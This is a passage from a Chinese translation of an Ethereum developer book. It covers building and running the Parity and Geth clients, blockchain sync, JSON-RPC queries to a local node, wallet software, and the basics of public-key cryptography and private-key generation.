弊端：

·不能在测试网络上使用真实的以太币。同样，也无法在测试网络上检测安全性，因为并没有黑客对这些没有价值的交易和合约感兴趣。

·有些针对主网功能的测试无法在测试网络上完成，例如，交易手续费（虽然对于在主网上发送交易来说仍是必需的）在测试网络上往往会被忽略，因为gas是免费的。还有，测试网上不会出现主网上有时会遭遇的拥堵情形。



本地区块链模拟器的好处和弊端



在很多测试的情况下，最好的选择是启动单一实例的本地区块链。Ganache（正式名称是testrpc）是其中一种最为流行的本地区块链模拟器，可供开发者在没有其他用户参与的情况下进行测试。私有区块链跟公链一样，也有好处和弊端，但是有些许的差异。

好处：

·不需要同步区块链数据，几乎不会占用硬盘空间。开发者自己完成第一个区块的挖矿。

·不需要设法获得测试以太币，开发者在挖矿时可以给自己“奖励”以太币并用于测试。

·没有其他用户。

·没有其他合约，只有你在私有区块链启动之后在其上部署的合约。

弊端：

·没有其他用户意味着这跟公链上的情形不太一样。私有测试链上并没有交易打包空间或交易打包顺序的竞争。

·只有你一个人“挖矿”，意味着挖矿的行为是更可预测的，因此没有办法测试在公链上跟挖矿有关的一些场景。

·没有其他合约意味着你必须部署测试所需要的所有依赖合约和各种合约库。

·无法重建一些公链上的合约并使用它们在公链上的地址进行特殊的测试，例如DAO合约。




运行以太坊客户端



如果你有充足的时间和资源，甚至即使是为了更好地学习这个流程，也应该尝试运行以太坊全功能节点。在下面的几节内容中，我们会分别下载、编译和运行Parity和Geth这两个以太坊客户端。这个过程需要你熟悉所使用操作系统的命令行界面。无论是运行以太坊全功能客户端，还是作为测试网络的节点，或者本地私有区块链的节点，都应该熟悉这个安装过程。



全功能节点的硬件需求



在开始之前，你需要确保电脑上拥有足以运行以太坊全功能客户端的硬件资源。你需要至少80GB的磁盘空间，以在公链上运行一个全功能节点和保存整个以太坊公链的区块链数据。如果你希望在测试网络上运行全功能的节点，则需要大约15GB的磁盘空间。下载80GB的区块链数据需要快速的互联网连接，否则会花费非常长的时间。

同步以太坊区块链数据是一项I/O密集型的操作。最好是选用SSD类型的磁盘。如果使用机械磁盘，你需要至少8GB的内存空间作为缓存，否则你会发现系统跟不上同步的速度，导致始终无法完成同步。


最低要求：


·2核或4核的CPU处理器。

·固态硬盘，至少80GB的空余空间。

·至少4GB内存，如果使用机械磁盘，则需要8GB以上的内存空间。

·能够达到8M/秒下行速度的互联网连接。

这些仅仅是最基本的硬件需求，并且区块链数据是经过压缩的。

在本书写作之时，Parity数据库在资源上要求更小，所以如果你想在比较普通的设备上运行以太坊，使用Parity可能会有更好的效果。

如果计划持续地同步区块数据，并且保存所有的开发工具、程序库、客户端和区块数据，你需要一台速度更快更强大的电脑。


推荐标准：


·4核以上的高性能CPU处理器。

·16GB以上内存。

·至少拥有500 GB空余空间的高性能固态硬盘。

·超过25 M/秒下行速度的互联网连接。

很难预估区块数据的增长速度和什么时候需要更多的磁盘空间，建议你在开始同步前查看区块链最新的大小。


 　此处列出的磁盘大小采用的是默认设置下的数据大小，也就是同步时会压缩旧的状态数据。如果你运行的是全功能“archival”节点，那么要把所有的状态数据都保存在磁盘上，这样所需磁盘空间将超过1TB。

下面的链接给出了区块链数据大小的最新估计：

·以太坊：
https://bitinfocharts.com/ethereum/

 。

·以太坊经典：
https://bitinfocharts.com/ethereum%20classic/

 。



构建和运行节点的软件需求



本节讨论Parity和Geth客户端软件的情况。本节假设读者使用类UNIX的命令行环境。本节例子中显示的输入命令和输出信息是在Ubuntu GNU/Linux操作系统的bash shell上完成的。

一般来说，在Geth上，每个区块链都会有自己的版本号，而Parity虽然支持多个基于以太坊的区块链（以太坊、以太坊经典、Ellaism、Expanse、Musicoin），但只有一个客户端。


 　在本章的很多例子中，我们会通过terminal应用程序来访问和使用操作系统的命令行界面（也称为shell）。shell会显示一个提示符号，输入命令后，shell会反馈一些信息，并提示你可以输入新的命令。这个提示符号可能随着你所使用的系统的不同而有所区别，但是在接下来的例子中，我们一律使用$符号来代表这个命令提示符。在我们的例子中，当你看到以$开头的命令语句时，请不要在输入时包含$符号，只需要直接输入$之后的命令，然后按回车符号即可执行命令。在这些例子中，每一个命令之后显示的内容是操作系统对执行这个命令的反馈结果。当你看到下一个$显示后，就表示这是一个新的命令，你应该输入和执行这个命令。

在开始之前，我们需要首先安装一些软件。如果你从没有在当前使用的电脑上进行过任何开发工作，可能需要完成一些基本工具的安装。对于下面的例子，你需要安装git（源代码管理工具）、golang（Go编程语言及其标准库）以及Rust这个系统级编程语言。

请根据链接中的步骤完成git的安装：
https://git-scm.com

 。

请根据链接中的步骤完成Go编程语言的安装：
https://golang.org

 。


 　Geth的软件需求会因版本而不同，但如果你坚持使用1.10或更高版本的Go，就可以编译任何版本的Geth。当然，在你选择偏爱的Geth版本时，应该始终参考Geth的文档。

你的操作系统中安装的或由系统软件包管理器提供的golang版本可能远远旧于1.10版。如果真是这样，请卸载它，并从
https://golang.org

 安装最新版本。

根据如下链接中的步骤可以完成Rust编程语言的安装：
https://www.rustup.rs

 。


 　Parity要求Rust语言版本为1.27乃至更高。

Parity也需要一些软件包，例如OpenSSL和libudev。可以使用如下的命令在Ubuntu或Debian GNU/Linux兼容系统上完成依赖软件包的安装：






$ sudo apt-get install openssl libssl-dev libudev-dev cmake







对于其他操作系统，使用操作系统自带的包管理器进行安装，或者参考Wiki上的说明（
https://github.com/paritytech/parity/wiki/Setup

 ）来完成依赖软件包的安装。

现在我们完成了git、golang、Rust和各种依赖软件包的安装，让我们开始正式的工作吧！



Parity客户端



Parity包含以太坊全功能节点和DApp浏览器。Parity采用Rust编程语言从头写起（Rust是一种系统级编程语言），目标是构建一个高度模块化、非常安全和可扩展的以太坊客户端。Parity由Parity Tech这家位于英国的公司开发，采用GPLv3开源协议发布。


 　利益相关：本书的作者之一Gavin Wood博士是Parity Tech公司的创始人和Parity客户端的主要开发者。Parity在以太坊所有的客户端中占据大约25%的份额。

要安装Parity，你可以使用Rust软件包管理器cargo或者从GitHub上下载源代码。软件包管理器也会下载源代码，所以两种方式之间没有区别。在下一节中，我们将向你展示如何下载和编译Parity。


安装Parity


Parity的Wiki（
https://wiki.parity.io/Setup

 ）提供了在不同操作系统环境（包括容器环境）中构建Parity的指导信息。我们也将向你展示如何从源代码中构建Parity。我们假设你已经使用rustup安装了Rust（具体请看上一节）。

首先，我们要从GitHub上获取源代码：






$ git clone https://github.com/paritytech/parity







现在，我们切换到parity目录，并使用cargo开始构建可执行文件：






$ cd parity



$ cargo install







如果一切顺利，你会看到如下提示信息：






$ cargo install



    Updating git repository `https://github.com/paritytech/js-precompiled.git`



Downloading log v0.3.7



Downloading isatty v0.1.1



Downloading regex v0.2.1



[...]



Compiling parity-ipfs-api v1.7.0



Compiling parity-rpc v1.7.0



Compiling parity-rpc-client v1.4.0



Compiling rpc-cli v1.4.0 (file:///home/aantonop/Dev/parity/rpc_cli)



Finished dev [unoptimized + debuginfo] target(s) in 479.12 secs



$







我们尝试运行parity来检验安装是否正确，方法是添加一个--version选项：






$ parity --version



Parity



    version Parity/v1.7.0-unstable-02edc95-20170623/x86_64-linux-gnu/rustc1.18.0



Copyright 2015, 2016, 2017 Parity Technologies (UK) Ltd



License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.



This is free software: you are free to change and redistribute it.



There is NO WARRANTY, to the extent permitted by law.



By Wood/Paronyan/Kotewicz/Drwiga/Volf



    Habermeier/Czaban/Greeff/Gotchac/Redmann



$







太好了！Parity已经安装完成，现在我们可以开始同步区块数据，并从一些基本的命令行选项开始学习。



Go-Ethereum（Geth）客户端



Geth是由以太坊基金会积极开发的Go语言实现，也经常被认为是以太坊客户端的“官方”实现。一般来说，每一种基于以太坊的区块链都有自己的Geth实现，因此，如果你正在运行Geth，而你想要确认获得了相应于自己所用区块链的正确版本的话，请使用下列网页：

·以太坊：
https://github.com/ethereum/go-ethereum/

 或
https://geth.ethereum.org

 。

·以太坊经典：
https://github.com/ethereumproject/go-ethereum

 。

·Ellaism：
https://github.com/ellaism/go-ellaism

 。

·Expanse：
https://github.com/expanse-org/go-expanse

 。

·Musicoin：
https://github.com/Musicoin/go-musicoin

 。

·Ubiq：
https://github.com/ubiq/go-ubiq

 。


 　你可以跳过这一段，直接选择针对你的操作系统预编译好的二进制文件进行安装。这些预编译的文件更易于安装，在上面列出的代码库中的“release”部分也更容易找到。但毫无疑问，从源码开始编译肯定是一项有趣和有收获的学习过程。


复制代码


我们的第一步是复制Geth的源代码仓库，从而获得一份完整的Geth源代码。

为了获得一份本地的代码仓库副本，在你的home目录或者其他用于开发的目录下执行如下git命令：






$ git clone <Repository Link>







当代码库复制到本地系统中时，你应该可以看到进度报告，如下所示：






Cloning into 'go-ethereum'...



remote: Counting objects: 62587, done.



remote: Compressing objects: 100% (26/26), done.



remote: Total 62587 (delta 10), reused 13 (delta 4), pack-reused 62557



Receiving objects: 100% (62587/62587), 84.51 MiB | 1.40 MiB/s, done.



Resolving deltas: 100% (41554/41554), done.



Checking connectivity... done.







很棒！这样你就在本地获得了Geth的副本，可以为自己的系统编译一个可执行的Geth了。


从源代码构建Geth


要构建Geth，请移至源代码所在的文件夹，并使用下列make命令：






$ cd go-ethereum



$ make geth







如果一切顺利，你会看到Go编译器把各个组件编译完成并构成一个geth可执行程序：






build/env.sh go run build/ci.go install ./cmd/geth



>>> /usr/local/go/bin/go install -ldflags -X main.gitCommit=58a1e13e6dd7f52a1d...



github.com/ethereum/go-ethereum/common/hexutil



github.com/ethereum/go-ethereum/common/math



github.com/ethereum/go-ethereum/crypto/sha3



github.com/ethereum/go-ethereum/rlp



github.com/ethereum/go-ethereum/crypto/secp256k1



github.com/ethereum/go-ethereum/common



[...]



github.com/ethereum/go-ethereum/cmd/utils



github.com/ethereum/go-ethereum/cmd/geth



Done building.



Run "build/bin/geth" to launch geth.



$







让我们在不实际启动Geth的条件下看看geth是不是安装正确了：






$ ./build/bin/geth version



Geth



Version: 1.6.6-unstable



Git Commit: 58a1e13e6dd7f52a1d5e67bee47d23fd6cfdee5c



Architecture: amd64



Protocol Versions: [63 62]



Network Id: 1



Go Version: go1.8.3



Operating System: linux



[...]







你所执行的geth version命令显示的信息跟本书可能会有些差异，但是至少你会看到一个类似上面这样的版本号。

请先不要运行geth，因为一旦启动它就会用“慢车道模式”开始同步区块链，而这可能要花去很长时间（没准要几周）。下一节会解释初次同步以太坊区块链时会遇到的挑战。




以太坊区块链数据的首次同步



正常情况下，在同步以太坊区块链数据时，你的以太坊客户端会从创世区块开始，逐一下载并验证每一个区块和其中的每一笔交易。

尽管可以通过这样的方式下载完整的区块链数据，但实际上并不可行，因为这会花费很长的时间，并且造成过高的计算资源消耗（需要更多的内存和更快的存储）。

许多基于以太坊规范的区块链都曾在2016年年底遭遇过拒绝服务式攻击。受到影响的区块链在“fullsync”模式下会同步得非常慢。

举个例子，一开始以太坊客户端的处理速度还是比较快的，直到它遇到了第2283397个区块。这个区块是在2016年9月18日通过挖矿创建的，它标志着一系列针对以太坊区块链的DoS攻击的开始。从这个区块直到第2700031（2016年11月26日）个区块，验证其中交易需要的时间变得极度缓慢，大量消耗内存，并且产生高频率的I/O磁盘读写，导致验证每个区块的时间超过了1分钟。以太坊开发团队采用硬分叉的方式推出了一系列的补丁更新，修复了导致DoS攻击的系统底层漏洞，清除了区块中的数据，删除了大约2000万个垃圾交易产生的空白账户。

如果你采用的是完整的“常规”同步，客户端会变得非常缓慢，整个验证区块的过程可能需要几天甚至更长时间，才能完成那些受DoS攻击影响的区块的验证。

幸运的是，以太坊客户端具有一个“fast”运行选项，通过这个选项可以略过对这部分有问题区块的完整验证操作，直到同步到区块链最新区块，才恢复完整验证。

对于Geth，启用这个功能的参数是--fast。并且，你可能需要根据自己选择的以太坊链参考具体的说明。

在Parity上，这项功能是默认开启的。


 　Geth的“快速”同步功能只限于从空白区块数据库开始同步的情况。如果你已经采用了“常规”同步模式，Geth是不能再切换到“快速”模式的。可以把区块链数据的文件夹删掉，然后再切换到“快速”模式从头开始同步区块链数据，这要比继续耗在“常规”模式更节省时间。切记，不要把包含钱包数据和私钥的文件夹误删除！



使用Geth或Parity



现在你已经理解了初次同步区块链时的挑战，并且已经开始运行以太坊客户端来同步区块链了。对Geth和Parity来说，可以用命令--help来检视所有配置参数。除了在Geth中使用--fast参数（如上节中所示），一般来说，采用默认设置就足以适用于大部分场景。根据自己的需要配置任意可选参数，然后启动Geth或Parity开始同步区块链，再然后就要开始等了。


 　同步以太坊区块链在配有大容量RAM的系统中需要半天，在更慢的系统中则可能需要数日。



JSON-RPC接口



以太坊客户端的API是一组远程过程调用（RPC）命令，并采用JSON格式编码。这被称为JSON-RPCAPI。最基本的，JSON-RPCAPI作为一个接口，允许程序员编写代码，把以太坊客户端作为进入以太坊网络和区块数据的大门（网关）。

通常，RPC接口使用8545端口以HTTP协议的方式对外服务。出于安全的目的，在默认情况下对这个端口的访问是受限的，只允许来自本地网络的链接（即来自本机127.0.0.1的访问）。

为了访问JSON-RPCAPI，你需要一些特定的程序库，根据你所使用的编程语言，这些程序库会提供对应每一个RPC命令的“桩”函数。你可以采用手工方法构建HTTP请求并发送和接收JSON编码的请求。你也可以使用一个通用的命令行工具，例如curl，来调用RPC接口。我们来做一个尝试。首先，请保证你已经配置好了Geth并且已在运行，然后切换到一个新的命令行窗口（例如，在现有的命令行窗口中使用Ctrl-Shift-N或Ctrl-Shift-T），输入下列命令：






$ curl -X POST -H "Content-Type: application/json" --data \



  '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}' \



  http://localhost:8545



{"jsonrpc":"2.0","id":1,



"result":"Geth/v1.8.0-unstable-02aeb3d7/linux-amd64/go1.8.3"}







在这个例子中，我们使用curl建立到
http://localhost:8545

 的HTTP连接。我们已经运行了geth，它通过HTTP服务8545端口对外提供JSON-RPCAPI。我们通过curl采用HTTP POST命令，并且把内容类型设定为application/json。最后，我们传递一个JSON编码的请求作为HTTP请求的内容。这个命令行的大部分内容是设定curl来建立正确的HTTP连接。实际有趣的部分是我们发出的JSON-RPC命令：






{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}







JSON-RPC请求根据JSON-RPC 2.0（
http://www.jsonrpc.org/specification

 ）规范进行编码，每个请求包含四个元素：


jsonrpc


JSON-PRC协议的版本号，必须是2.0。


method


调用的方法名称。


params


一个结构化的数据，包含了调用方法过程中需要使用的参数。这部分可以是空缺的。


id


一个由调用客户端一方设定的标识符，必须包含字符串、数字或者NULL值。服务端必须在响应对象中包含相同的标识符内容。这个标识符被用来在两个对象之间建立上下文关联。


 　id主要用在一个JSON-RPC调用中包含多个请求的情况，这也被称为批量请求。批量请求有助于避免在每次请求时都消耗HTTP和TCP连接资源。在以太坊的环境下，我们可以在HTTP连接的情况下，使用批量请求一次性获取数以千计的交易信息。在执行批量请求时，你需要针对每一个请求设定一个不同的id，并且在从JSON-RPC服务器返回的数据中采用id来匹配发出的请求。最简单的方法就是维护一个计数器，在每次请求时都增加一个计数。

我们收到的响应如下：






{"jsonrpc":"2.0","id":1,



"result":"Geth/v1.8.0-unstable-02aeb3d7/linux-amd64/go1.8.3"}







这个返回信息告诉我们，JSON-RPCAPI服务由版本号为1.8.0的Geth客户端提供。

我们再来尝试一些更有趣的操作。在下面的例子中，我们通过JSON-RPC API来获取当前的gas价格，以wei单位：






$ curl -X POST -H "Content-Type: application/json" --data \



  '{"jsonrpc":"2.0","method":"eth_gasPrice","params":[],"id":4213}' \



  http://localhost:8545



{"jsonrpc":"2.0","id":4213,"result":"0x430e23400"}







返回值0x430e23400告诉我们当前的gas价格是1.8gwei（gigawei或billionwei）。如果你像我一样没法直接阅读十六进制数，那么可以在命令行中使用bash-fu转化为十进制数：






$ echo $((0x430e23400))



18000000000







可以在以太坊Wiki（
https://github.com/ethereum/wiki/wiki/JSON-RPC

 ）上研究完整的JSON-RPC API。


Parity的Geth兼容模式


Parity带有一个特殊的“Geth兼容模式”，它提供了跟Geth完全相同的JSON-RPC API接口。要采用Geth兼容模式运行Parity，可以使用--geth开关：






$ parity --geth










远程调用以太坊客户端



远程调用以太坊的客户端是指相比全功能客户端，只提供了一部分功能的客户端。这些客户端通常不会保存完整的区块链数据，所以它们的启动速度更快，也不会消耗大量的磁盘空间。

远程调用以太坊客户端提供了如下功能：

·管理钱包中的私钥和以太坊地址。

·创建、签名并广播交易。

·通过交易内数据载荷的方式与智能合约交互。

·浏览并使用DApp。

·提供外部服务的链接，例如区块浏览器。

·转换以太币的单位，从外部获取兑换的汇率。

·向浏览器注入一个web3实例（供页面上的JavaScript与客户端交互）。

·使用其他客户端提供或注入浏览器的web3实例。

·访问本地或远程以太坊节点的RPC服务。

有些远程客户端，例如智能手机上的移动钱包，只提供了最基本的钱包功能。而有些远程客户端则是功能完备的DApp浏览器。它们的共同点是，这些客户端提供的功能都是全功能客户端的子集，而且不会在本地同步以太坊区块链数据，只会连接一些在别的地方运行的全功能节点，例如，你自己部署在本地设备或者Web服务器上的全功能节点，或者是第三方部署在服务器上的全功能节点。

我们来看看市面上流行的远程客户端和它们所提供的功能。



移动（智能手机）钱包



所有的移动钱包都属于远程客户端，因为智能手机并不具备运行全功能节点所需要的资源。轻客户端正在开发中，并且也不完全具备以太坊的各种用途。在Parity中，轻客户端被认为是“实验性”的，可以使用--light命令来使用。

流行的移动钱包包括如下这些
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 （我们列出这几个钱包是因为它们都非常流行，并不意味着作者对这些钱包的安全性或功能性提供任何背书）：


Jaxx（
 
https://jaxx.io

 ）


基于BIP39助记词种子的多币种移动钱包，支持Bitcoin、Litecoin、Ethereum、Ethereum Classic、ZCash等多种货币和大量ERC20合约代币。Jaxx有Andriod和iOS版的移动应用，并且可以通过浏览器插件的方式安装，也有支持多种操作系统的桌面版本。


Status（
 
https://status.im

 ）


Status是一个移动钱包和DApp浏览器，支持多种代币和流行的DApp。有Andriod和iOS版的移动应用。


TrustWallet（
 
https://trustwalletapp.com/

 ）


移动版的以太坊和以太坊经典钱包，支持ERC20和ERC223代币。Trust Wallet有Andriod和iOS版的移动应用。


CipherBrowser（
 
https://www.cipherbrowser.com

 ）


功能齐全的以太坊移动钱包和DApp浏览器，支持与以太坊应用和代币集成。



浏览器钱包



很多钱包或DApp浏览器都提供针对Chrome或Firefox浏览器的插件，这就是运行在Web浏览器中的远程客户端。

一些非常著名的例子包括MetaMask、Jaxx、MyEtherWallet/MyCrypto和Mist。


MetaMask


MetaMask（
https://metamask.io/

 ）在第2章中已经介绍过，这是一个以功能完备著称的浏览器钱包，提供RPC客户端和基本的合约浏览器功能。它支持Chrome、Firefox、Opera和Brave浏览器。

乍一看，MetaMask就是一个浏览器钱包。可实际上它会在浏览器中注入一个web3实例，作为可以连接到多个以太坊区块链（例如主网、Ropsten测试网、Kovan测试网、本地RPC节点等）的RPC客户端。注入web3实例并作为外部RPC服务的网关，使得MetaMask成为开发者的神器。它可以跟MyEtherWallet或MyCrypto合并使用，成为这些工具的web3提供方和RPC网关。


Jaxx


上一节介绍的Jaxx（
https://jaxx.io

 ）是一款移动端钱包，但也可以通过Chrome和Firefox插件使用，并且也有桌面端钱包。


MhEhterWallet（MEW）


MyEtherWallet（
https://www.myetherwallet.com/

 ）是一个基于浏览器的JavaScript轻量级客户端，提供如下功能：

·运行于JavaScript的以太坊钱包。

·支持流行的硬件钱包，如Trezor和Ledger。

·可以与其他客户端（如MetaMask）注入浏览器中的web3实例建立连接的web3接口。

·可以连接到以太坊全功能客户端的RPC客户端。

·通过合约的地址和ABI，可与智能合约进行交互的一组基本的接口。

MyEtherWallet非常适合测试场景，也可以作为硬件钱包的接口。它不应该被当作“主力”钱包软件，因为它暴露于浏览器环境中的诸多威胁，而且不是一个安全的密钥保存系统。


 　使用MyEtherWallet或其他基于浏览器的JavaScript钱包需要非常小心，因为这些都是钓鱼攻击的目标。使用书签的方式访问这些应用，不要轻信搜索引擎或其他链接。


MyCrypto


就在本书付梓之前，MyEtherWallet项目已经分拆为两个相互竞争的实现，由两支独立的开发团队来领导。这个项目“分叉”了，就像开源开发过程中出现的分叉一样。分拆后的两个项目是MyEtherWallet（维持原品牌）和MyCrypto（
https://mycrypto.com/

 ）。分拆之时，MyCrypto提供跟MyEtherWallet同样的功能，但日后很有可能产生差别，因为两支开发团队所追求的目标不同。


Mist
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Mist（
https://github.com/ethereum/mist

 ）是第一个支持以太坊的浏览器，由以太坊基金会团队开发。它也包含一个基于浏览器的钱包，并首次实现了对ERC20代币标准的支持（ERC20标准的作者Fabian Vogelsteller也是Mist的主要开发者）。Mist还首次引入了对以太坊地址的大小写校验（EIP-55）。它运行一个全功能节点，支持基于Swarm的存储和ENS地址。




[1]

 由中国团队开发的imToken也是一款非常优秀的以太坊钱包，它支持多链多币种，一站式管理，私钥自持，安全无忧。
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 Mist既可以用作远程调用以太坊的客户端，通过访问Infura完成客户端的各项功能，也可以用作前端，在后端使用Geth同步以太坊区块链变成全功能节点。




总结



在本章，我们介绍了以太坊客户端。你应该已经完成了以太坊客户端的下载、安装和区块链同步等尝试，成为以太坊网络的一分子，并且通过在本地保存区块链数据为整个系统的健康和稳定做出了贡献。




第4章　以太坊背后的密码学



密码学是以太坊的技术基石，它是数学的一个分支，在计算机安全领域有着广泛的应用。在希腊语中，密码学一词对应的意思是“秘密的书写”，但是现代密码学所涵盖的领域远远不只是“秘密的书写”所代表的信息加密。密码学可以用来进行知识证明，这是指在不公开秘密数据的情况下，证明知道秘密的信息（数字签名）；也可以用作证明信息的真实性（数字指纹，也称哈希）。这些密码学方面的证明，是以太坊和绝大多数区块链系统的核心数学工具，在以太坊上的应用中也被大量使用。

需要澄清的是，截至本书出版时，以太坊协议本身并没有任何加密信息，也就是说，所有通信和交易数据都不是加密的，因此所有人都必然可以读取。这也是为什么每个人都可以验证状态更新的正确性并达成共识。在未来，高级的密码学工具（比如零知识证明和同态加密）也将可用，使得一些加密的计算可以被记录在区块链上，同时仍可达成共识，但这些工具还未部署到以太坊上（虽然我们已预见会如此）。

在本章，我们会介绍以太坊中用到的一些密码学技术，主要是以密钥和地址的形式来控制资金所有权的公钥密码学（PKC）。




密钥和地址



正如我们在前几章讲到的，有两类以太坊账户可以用来持有和操作以太币：外部账户和合约账户。外部账户对以太币的所有权是通过私钥、以太坊地址和数字签名建立起来的。私钥乃是用户与以太坊交互的核心。实际上，账户地址直接由私钥推导而来：一个私钥会与唯一一个以太坊地址（也称为账户）挂钩。

以太坊系统中没有任何地方直接用到了私钥，私钥也从不会用以太坊网络传输或存储。也就是说，私钥应该保密，既不应该在以太坊网络通信中出现，也不应存储在链上。只有账户地址和数字签名可以在链上传输或存储。要了解更多关于私钥安全的信息，请看第2章“控制和责任”一节，以及第5章中的内容。

资金的访问与控制权都是通过数字签名实现的，而数字签名也是用私钥生成的。所有以太坊交易都要求在链上包含有效的数字签名。任何持有私钥的人都有对该私钥对应的账户及账户资金的控制权。如果用户能够安全保管自己的私钥，那么以太坊交易中的数字签名就能证明资金的实际持有者，因为数字签名能够证明对应私钥的所有权。

在任何以公钥加密为基础的系统（比如以太坊）中，密钥是成对的，由私钥与公钥组成。我们可以把公钥想象成银行账户，而私钥则是账户密码，前者（公钥，银行账户）用于识别身份，后者（私钥，账户密码）提供对账户的控制权。以太坊用户通常不会直接看到私钥，大部分情况下，私钥以加密形式保存在钱包软件所管理的文件中。

在进行以太坊交易的支付过程中，目标收款方是由以太坊地址表示的，与在银行转账中用到的收款人账户信息一样。下文很快会详细介绍该内容，通常，外部账户的以太坊账户地址由密钥对中的公钥生成。但并不是所有以太坊账户都代表着一对公钥和私钥，以太坊账户还可以表示合约，合约背后就没有私钥来控制所有权了，这部分内容我们会在第7章提到。

本章的余下篇幅里，我们会先详细介绍一些基础的密码学理论，并解释以太坊中应用到的数学原理。之后我们会谈到密钥是如何生成、存储与管理的。最后，我们会提到几种不同的表示私钥、公钥与账户地址的编码方式。




公钥密码学和加密货币



公钥密码学（也称为“非对称加密技术”）是现代计算机和信息安全的数学基础。20世纪70年代，Martin Hellman、Whitfield Diffie和Ralph Merkle公开发表了密钥交换协议，这是一次密码学的巨大突破，引发了公众对密码学的强烈兴趣。在70年代以前，关于强加密技术的知识由政府控制，公开研究很少。

公钥密码学使用一种独特的密钥对来保护信息安全。这对密钥的数学基础是一类具有特殊属性的数学函数，这类函数易于从一个方向进行计算，但要反向计算却十分困难。基于这些数学函数，密码学可以用来创造数字密钥和不可篡改的数字签名，而这些密钥与签名的安全性都是由数学定律保障的。

例如，把两个大质数相乘是一件非常容易的事情，但是如果给定两个大质数的乘积，却很难反向推算出构成这个乘积的两个大质数（这被称为质因数分解问题）。例如，给出一个数字8018009并告诉你这是两个质数的乘积。你找到构成乘积的这两个质数，要比把这两个质数相乘得到结果8018009困难得多。

在获知一些私密信息的情况下，这类数学函数就可以比较容易地进行反向计算。在上面的例子中，如果知道其中的一个质因数是2003，那么就很容易通过8018009÷2003=4003得到另一个质因数。这类函数通常称作陷门函数，因为在获知一部分信息的情况下，你就有捷径知道答案，轻易地完成反向计算。

另一类十分实用的更高级的数学函数是基于椭圆曲线上的算术运算。在椭圆曲线运算中，质数的模乘运算是非常简单的，但是模除运算（反向运算）却是几乎不可能的，这被称为离散对数难题，至今我们还没有发现陷门。椭圆曲线密码学在现代计算机系统中被广泛应用，也是以太坊（和其他加密货币）的密钥对和数字签名的基础。


 　如果你有兴趣阅读更多关于现代密码学与其数学函数的内容，可以进行以下扩展阅读：

·密码学：
https://en.wikipedia.org/wiki/Cryptography

 。

·陷门函数：
https://en.wikipedia.org/wiki/Trapdoor_function

 。

·质因数分解：
https://en.wikipedia.org/wiki/Integer_factorization

 。

·离散对数：
https://en.wikipedia.org/wiki/Discrete_logarithm

 。

·椭圆曲线密码学：
https://en.wikipedia.org/wiki/Elliptic-curve_cryptography

 。

在以太坊中，我们使用公钥密码学（也称为非对称密码学）来创建本章不断提到的公钥私钥对。之所以称之为“一对”密钥，是因为公钥是通过私钥生成的。公钥和私钥一起表示一个以太坊账户，公钥用于可访问账户管理（也就是地址），而私钥用于控制账户内持有的以太币，并控制使用智能合约时所需的认证程序。私钥是生成数字签名所唯一需要的信息，而用户需要数字签名来签署账户内的所有交易以使用账户资金，私钥因此成为控制账户资金的手段。数字签名还用于认证账户所有者与合约用户，详见第7章。


 　在大多数钱包实现中，私钥和公钥往往作为密钥对一起保存。然而，由于公钥可以直接由私钥计算得出，所以即使只保存了私钥也是没问题的。

数字签名可以签署任何消息。对以太坊交易来说，交易本身的细节就是以消息的形式使用的。密码学（这里具体指椭圆曲线密码学）中的数学规则使消息（即交易细节）可以与私钥结合在一起，创建出只能用私钥生成的代码。这些代码就是所谓的数字签名。注意，一笔以太坊交易可被视为对特定账户的使用请求。以太坊交易可以转移资金或与智能合约交互，在被发送到以太坊网络时，交易必须附带一个与地址对应的私钥创建的签名。椭圆曲线数学意味着任何人都可以验证交易的有效性，只需校验数字签名是否与交易细节以及要转移资产的地址相匹配。验证过程完全无须使用私钥——私钥完全不必公开。然而，验证过程可以使人们打消疑虑，因为交易只能来自掌握着与以太坊地址对应的私钥的人。这就是公钥密码学的神奇之处。


 　以太坊协议中并没有任何加密的部分，也就是说，所有在以太坊网络上发送的消息都可以（且必须可以）公开阅读，因此，私钥只用来创建数字签名以验证交易。




私钥



私钥就是一组随机获取的数字。通过私钥实现的所有权和控制是所有用户控制的根本，这包括该以太坊地址下的以太币的控制，以及针对通过这个地址认证的合约的控制。私钥用来生成数字签名，在交易中用于证明对以太币的所有权。私钥必须严格保密，如果私钥泄露给第三方，就相当于给予了他们对这个私钥对应的以太币和合约的完全控制权。私钥也必须备份和妥善保管，防止丢失，如果私钥丢失了，是没有任何办法恢复的，私钥对应的以太币也就被永久锁定了（相当于丢失了）。


 　以太坊的私钥就是一组数字。你甚至可以通过扔硬币并用纸和笔记录结果的方式来获得私钥：连续扔硬币256次，你就获得了一个可以用于以太坊钱包的二进制随机私钥（见下一节）。公钥和钱包的地址可以通过私钥计算后生成。



通过随机数生成私钥



生成私钥的第一步，也是最重要的一步就是找到一个密码学安全的熵，或者称为随机源。生成以太坊私钥基本上就是在1和2
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 之间选择数字。只要选择的过程不可预测也不可重复，那么通过什么方式获得这个数字并不重要。以太坊软件使用底层操作系统的随机数生成器生成一个256位的“熵”。操作系统的随机数生成器通常以用户的一些随机行为为基础，因此，在生成随机数的过程中，系统可能要求用户随意滑动鼠标，或者在键盘上随意敲击几个键。另一种替代性方案是收集计算机麦克风通道中的噪声。

更准确地说，以太坊私钥可以是任何比2

256


 略微小一点的正整数，2

256


 是一个77位的十进制数字，接近于1.158×10

77


 。私钥的数字与2

256


 的前38位相同，这被定义为以太坊椭圆曲线的阶（详见本章“椭圆曲线密码学的基本概念”一节）。要生成私钥，我们随机取出一个256比特的数字，然后检查它是否在有效范围内。用编程术语来说，其实现方式是：将一个（从密码学意义上安全的熵源中得出的）很大的随机字符串放入256比特的哈希算法中，比如Keccak-256或者SHA256，这两种算法会便捷地产生一个256比特的数字。如果这个结果在有效范围内，我们就有了一个合适的私钥。否则，我们就要用另一个随机数字再试一次。


 　以太坊私钥数字区间大小为2

256


 ，这是一个大到无法言喻的数字。这个数字在十进制中几乎是10

77


 ，也就是说，是个77位数。我们对比一下，在可见的宇宙中，人们估计一共有10
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 个原子，因此我们几乎有足够的私钥给宇宙中的每个原子了。当你随机地选择了一个私钥后，几乎不可能会有另一个人猜到，或者选中同一个。

